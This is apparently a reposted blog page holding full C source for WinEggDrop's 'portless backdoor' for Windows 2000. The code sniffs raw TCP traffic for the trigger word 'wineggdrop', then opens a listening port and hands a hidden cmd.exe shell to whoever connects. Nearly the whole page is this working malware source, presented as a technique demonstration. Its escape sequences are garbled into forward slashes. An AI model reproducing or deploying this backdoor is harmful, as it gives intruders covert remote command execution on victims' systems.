WinEggDrop源代码

关注

转载最新推荐文章于 2024-05-30 18:40:21 发布 1.3k 阅读 AI 写同款· GEO 优化 ›

Kill TCP Connection源代码 //********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: Kill An Active TCP Connection // Test PlatForm: Win 2K 阅读详情

//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

// Some Structures To Define
#define IP_HDRINCL        2
#define SIO_RCVALL         _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN    65535
#define MAX_ADDR_LEN     16
#define MAX_HOSTNAME_LAN    255

typedef struct _iphdr
{
   unsigned char h_lenver;
   unsigned char tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char ttl;
   unsigned char proto;
   unsigned short checksum;
   unsigned int   sourceIP;
   unsigned int   destIP;
}IP_HEADER;

typedef struct _tcphdr
{
   USHORT th_sport;
   USHORT th_dport;
   unsigned int th_seq;
   unsigned int th_ack;
   unsigned char th_lenres;
   unsigned char th_flag;
   USHORT th_win;
   USHORT th_sum;
   USHORT th_urp;
}TCP_HEADER;
// End Of Structure

// Global Variable
char SourceIPAddress[MAX_ADDR_LEN]; // Hold The Source IP(This Can Be Used To Do Reverse Connection)
int BackDoorPort = 0; // The Port Back Door Will Bind

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL   InitSocket();
BOOL   DoSniffing();
BOOL   DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL   DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL   IsWin2KOrAbove();
DWORD WINAPI StartBackDoor(LPVOID Para);
BOOL   GetABackDoorShell(const SOCKET ListenSocket);
BOOL     SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main(int argc,char *argv[])
{
if (!IsWin2KOrAbove())    // This System Running This Program Is Not Win 2K Or Above
{
    printf("The Program Must Run Under Win 2k Or Above OS/n");    // Display This Message
    return -1;    // Quit The Program
}

if (argc == 2)      // We Get Argument
    BackDoorPort = atoi(argv[1]);      // Argument One Is The Back Door's Port
else    // No Argument
    BackDoorPort = 1982;      // Back Door's Port Will Be Defined On 1982

if (!InitSocket())     // Fail To Initize Socket
{
    printf("Fail To Start Up Winsock/n");    // Display Error Message
    return -1;    // Quit The Program
}
DoSniffing();    // Do Sniffing
return 0;     // Quit The Program
}// End Of Main Function

//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters: NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
WSADATA data;
WORD ver;

ver = MAKEWORD(2,2);
if (WSAStartup( ver, &data )!= 0 )
{
return FALSE;
}
return TRUE;
}// End Of InitSocket Function

//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
int Length=0;    // Variable To Hold The Receive Buffer Length
char RecvBuf[MAX_PACK_LEN] = {0};     // Receive Buffer
SOCKET SocketRaw = INVALID_SOCKET;    // Raw Socket

SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);    // Create A Raw Socket
if (SocketRaw == INVALID_SOCKET)      // Fail To Create A Raw Socket
{
    printf("Fail To Create A Raw Socket/n");    // Display Error Message
    return FALSE;    // Return False
}

char FAR name[MAX_HOSTNAME_LAN];

if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR)      // Fail To Get The Host Name
{
    printf("Fail To Get Host Name/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket Created
    return FALSE;    // Return False
}

// The Below Is The NIC Stuff
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent));    // Allocate Hostent Buffer
pHostent = gethostbyname(name);
SOCKADDR_IN sa;
sa.sin_family = AF_INET;     // That's Internet Related
sa.sin_port = htons(0);      // Any Port Avariable On The OS
if (pHostent->h_addr_list[0] != 0)    // We Only Check The First NIC
{
    memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);    // We Use The First NIC As The Sniffing Subject
}
else    // Well,The First NIC Is Not Valid
{
    printf("Get Host By Name Fails/n");      // Display Error Message
    free(pHostent);     // Free The Hostent Buffer
    closesocket(SocketRaw);
    return FALSE;    // Return FALSE;
}
free(pHostent);     // Free The Hostent Buffer

if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR)    // Bind The Raw Socket On The First NIC,But Fails
{
    printf("Fail To Bind/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket
    return FALSE;    // Return False
}

// Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes)
DWORD dwBufferLen[10] ;
DWORD dwBufferInLen = 1 ;
DWORD dwBytesReturned = 0 ;

if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR)
{
closesocket(SocketRaw);
return FALSE;
}

while(TRUE)      // Sniffing Starts Here With Forever Loop
{
    memset(RecvBuf, 0, sizeof(RecvBuf));     // Reset The Receive Buffer
     Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0);    // Try To Receive Data
    if (Length == SOCKET_ERROR)     // Get Error As Receiving Data
    {
       printf("Fail To Receive Data/n");     // Display Error Message
       break;     // Leave The Loop
    }
    if (DecodeIPPack(RecvBuf,Length))     // Decode The Buffer Received,And The Active Code Is Found
    {
       printf("Bingo,The BackDoor Is Activated On Port %d/n",BackDoorPort);      //We Are Going To Activate The BackDoor
       DWORD dwThreadID;
       HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID);    // Create The Back Door Thread
       WaitForSingleObject(BackDoorThread,INFINITE);     // Wait Until The Back Door Ends
    }
}

closesocket(SocketRaw); // Close The Raw Socket
return TRUE; // Return
}// End Of DoSniffing Function

//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters: 1.const char *Buffer   -->The Received Buffer
//              2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
IP_HEADER *pIpheader;     // IP Header
SOCKADDR_IN saSource, saDest;
pIpheader = (IP_HEADER *)Buffer;      // Transfer The Buffer Into IP Header Form
int Protocol = pIpheader->proto;      // Get The Protocol
if ((Protocol != IPPROTO_TCP))     // Not TCP Protocol
{
    return FALSE;    // Return False Since We Only Interest In TCP Protocol
}

saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); // Get The Source IP(Important For Doing Reverse Connection)

int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); // Get The IP Length
return DecodeTCPPack(Buffer+IPLength, BufferSize); // Decode TCP Packer
}// End Of DecodeIPPack Function

//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters: 1.const char *TCPBuffer -->The TCP Buffer
//              2.Const int BufferSize   -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
TCP_HEADER * pTcpHeader;     // TCP Header
int iSourcePort,iDestPort;      // Source Port And DestPort

pTcpHeader = (TCP_HEADER * )TCPBuffer;      // Transfer The Buffer Into TCP Header Form
int TcpHeaderLen = pTcpHeader->th_lenres>>4;     // Get The TCP Leader Length
TcpHeaderLen *= sizeof(unsigned long);
char * TcpData=TCPBuffer+TcpHeaderLen;      // Get The TCP Data

iSourcePort = ntohs(pTcpHeader->th_sport);     // Get The Source Port
iDestPort = ntohs(pTcpHeader->th_dport);    // Get The Destination Port
if (strstr(TcpData,"wineggdrop")!=NULL)     // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo
{
    printf("%s:%d-->Local:%d/r/n",SourceIPAddress,iSourcePort,iDestPort);     // Display A Message
    return TRUE;     // Return TRUE(The Back Door Will Be Activated Soon)
}
return FALSE;    // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function

//-------------------------------------------------------------------------

// Purpose: To Check The OS
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL IsWin2KOrAbove()
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx(&OSVersionInfo))     // Get The OS Version
     return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above OS
else
    return FALSE;    // Fail To Get The OS Version,Just Return FALSE
}// End Of IsWin2KOrAbove Function

//--------------------------------------------------------------------------------
// Purpose: To Ease The Way To Send Data Through Socket
// Return Type: Boolean
// Parameters: 1.const SOCKET ClientSocket --> The Socket To Send Message
// 2.const char *Message --> Message To Send
//--------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}// End Of SendSocket

//--------------------------------------------------------------------------------
// Purpose: To Start The Back Door
// Return Type: DWORD
// Parameters: LPVOID Para --> Can Be AnyThing
//--------------------------------------------------------------------------------
DWORD WINAPI StartBackDoor(LPVOID Para)
{
struct sockaddr_in srv;
SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create A TCP Socket

if (ListenSocket == INVALID_SOCKET)      // Fail To Create A TCP Socket
{
    printf("Fail To Create A BackDoor Socket/n");     // Display Error Message
    return -1;    // Return
}

srv.sin_family = AF_INET;    // Internet Related
srv.sin_addr.s_addr = htonl(INADDR_ANY);    // Any Address
srv.sin_port = htons(BackDoorPort);      // Back Door Port

if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) == INVALID_SOCKET)     // Fail To Bind The Socket
{
    printf("Fail To Bind BackDoor Sokcet/n");      // Display Error Message
     closesocket(ListenSocket);     // Close The Socket
    return -1;    // Return
}

if (listen(ListenSocket,1) == INVALID_SOCKET)     // Fail To Listen On The Back Door's Port
{
     printf("Fail To Listen/n");    // Display Error Message
     closesocket(ListenSocket);     // Close The Socket
    return -1;    // Return
}

SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL);     // Accepting Connections
if (AcceptSocket == INVALID_SOCKET)      // Fail To Accept Connection
{
    printf("Fail To Accept Connection/n");      // Display Error Message
    closesocket(ListenSocket);      // Close The Socket
    return -1;    // Return
}

GetABackDoorShell(AcceptSocket);      // Get A CMD Shell
closesocket(AcceptSocket);      // Close Accpeted Socket
closesocket(ListenSocket);      // Close The Listen Socket
return 0;     // Return
}// End Of StartBackDoor Function

//--------------------------------------------------------------------------------
// Purpose: To To The Shell Stuff
// Return Type: Boolean
// Parameters: const SOCKET ListenSocket   --> The Client Connected Socket
//--------------------------------------------------------------------------------
BOOL GetABackDoorShell(const SOCKET ListenSocket)
{
char ReceiveBuffer[MAX_PATH + 1];     // The Receive Buffer
char SendBuffer[1024 * 4];      // The Send Buffer

unsigned long OutputLength,InputLength; // The Input And Output Length

// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;

SECURITY_ATTRIBUTES sa                 = {0};
STARTUPINFO         si                 = {0};
PROCESS_INFORMATION pi                 = {0};

ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))      // Get System Directory
{
    strcat(ReceiveBuffer,"//cmd.exe");    // Get The Cmd.exe Full Path
}
else    // Fail To Get System Directory
{
    SendSocket(ListenSocket,"Fail To Get System Diretory/r/n");      // Display Error Message
    return FALSE;    // Return
}

// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));

if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))      // Fail To Create Client Read Pipe
{
    SendSocket(ListenSocket,"Fail To Create Client Read Pipe/r/n");     // Display Error Message
    goto CleanUP;    // Leave
}

if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))      // Fail To Create Cmd Read Pipe
{
    SendSocket(ListenSocket,"Fail To Create CMD Read Pipe/r/n");     // Display Error Message
    goto CleanUP;    // Leave
}

// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

si.hStdInput = CmdReadPipe;     // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe;    // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe;      // Pass The CmdWritePipe To StdOutput

if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi))     // Fail To Create A Cmd Shell Process
{
    SendSocket(ListenSocket,"Fail To Create Process/r/n");     // Display Error Message
    goto CleanUP;    // Leave
}

while(TRUE)      // Shell Commincation Starts Here
{
    if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))      // Fail To Get Data From The Pipe
    {
       SendSocket(ListenSocket,"Fail To Peek Name Pipe/r/n");     // Display Error Message
         break;      // Leave
    }
     if (OutputLength > 0)    // Get Data From The Pipe Successfully
    {
       ZeroMemory(SendBuffer,sizeof(SendBuffer));     // Reset The Send Buffer
         if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))     //Fail To Read The Data
       {
          SendSocket(ListenSocket,"Fail To Read File/r/n");    // Display Error Message
          break;     // Leave
       }
         if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR)    // Fail To Send The Data
       {
          printf("Fail To Send Buffer/n");      // Display Error Message
          break;     // Leave
       }
    }
    else
    {
       ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));     // Reset Receive Buffer
       InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer));    // Receive Input From Client
       if (InputLength == SOCKET_ERROR)      // Fail To Receive Data
       {
          printf("Fail To Receive Buffer/n");      // Display Error Message
          break;     // Leave
       }

         if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))     // Fail To Write The Received Data To The Pipe
       {
          printf("Fail To Write File/n");    // Display Error Message
          break;     // Leave
       }

       // Leave The Shell
       if (strnicmp((char*)ReceiveBuffer, "exit/r/n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit/r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit/n", 5)==0)
         break;
    }
}

// Clean All Resource Allocated
CleanUP:
        if (CmdReadPipe != NULL)
           CloseHandle(CmdReadPipe);
      if (CmdWritePipe != NULL)
           CloseHandle(CmdWritePipe);
      if (ClientReadPipe != NULL)
           CloseHandle(ClientReadPipe);
      if (ClientWritePipe)
           CloseHandle(ClientWritePipe);
return TRUE;
}// End Of GetABackDoorShell Function

//--------------------------------------------------------------------------------
// Purpose: To Receive Data From Socket In A Custom-Defined Way
// Return Type: unsigned int
// Parameters: 1.const SOCKET ClientSocket   --> The Client Connected Socket
//             2.char *Buffer                --> Buffer To Hold Data Received
//             3.const int BufferSize        --> The Buffer Size
//--------------------------------------------------------------------------------
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize)
{
ZeroMemory(Buffer,BufferSize);     // Reset The Buffer

if (BufferSize < 2) // Buffer Size Is Less Then 2
{
return 0; // Dump
}

unsigned int CharacterCount = 0;

while(TRUE)
{
    if (CharacterCount >= BufferSize)     // The Characters Received Is Bigger Or Equal The Buffer Size
    {
       // Give The Buffer An Enter
       Buffer[BufferSize-2] = '/r';
       Buffer[BufferSize-1] = '/n';
         return CharacterCount;     // Return The Characters Received
    }

     if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR)     // Fail To Receive Data
    {
       return SOCKET_ERROR;      // Return Error
    }

     if (Buffer[CharacterCount] == '/b')     // Back Space Detected
    {
       Buffer[CharacterCount] = '/0';     // Skip It
         if (CharacterCount > 0)    // Characters Received Is Bigger Than 0
       {
          CharacterCount--;      // Decrease One Character
             Buffer[CharacterCount] = '/0';
       }
         continue;      // Begin A New Loop
    }

     if (Buffer[CharacterCount++] == '/n')      // Enter Is Detected
    {
       return CharacterCount;    // Return The Characters Received
    }
}
return 0;     // We Get Nothing,Return Zero
}// End Of ReceiveMessageFromSocket Function
// End Of File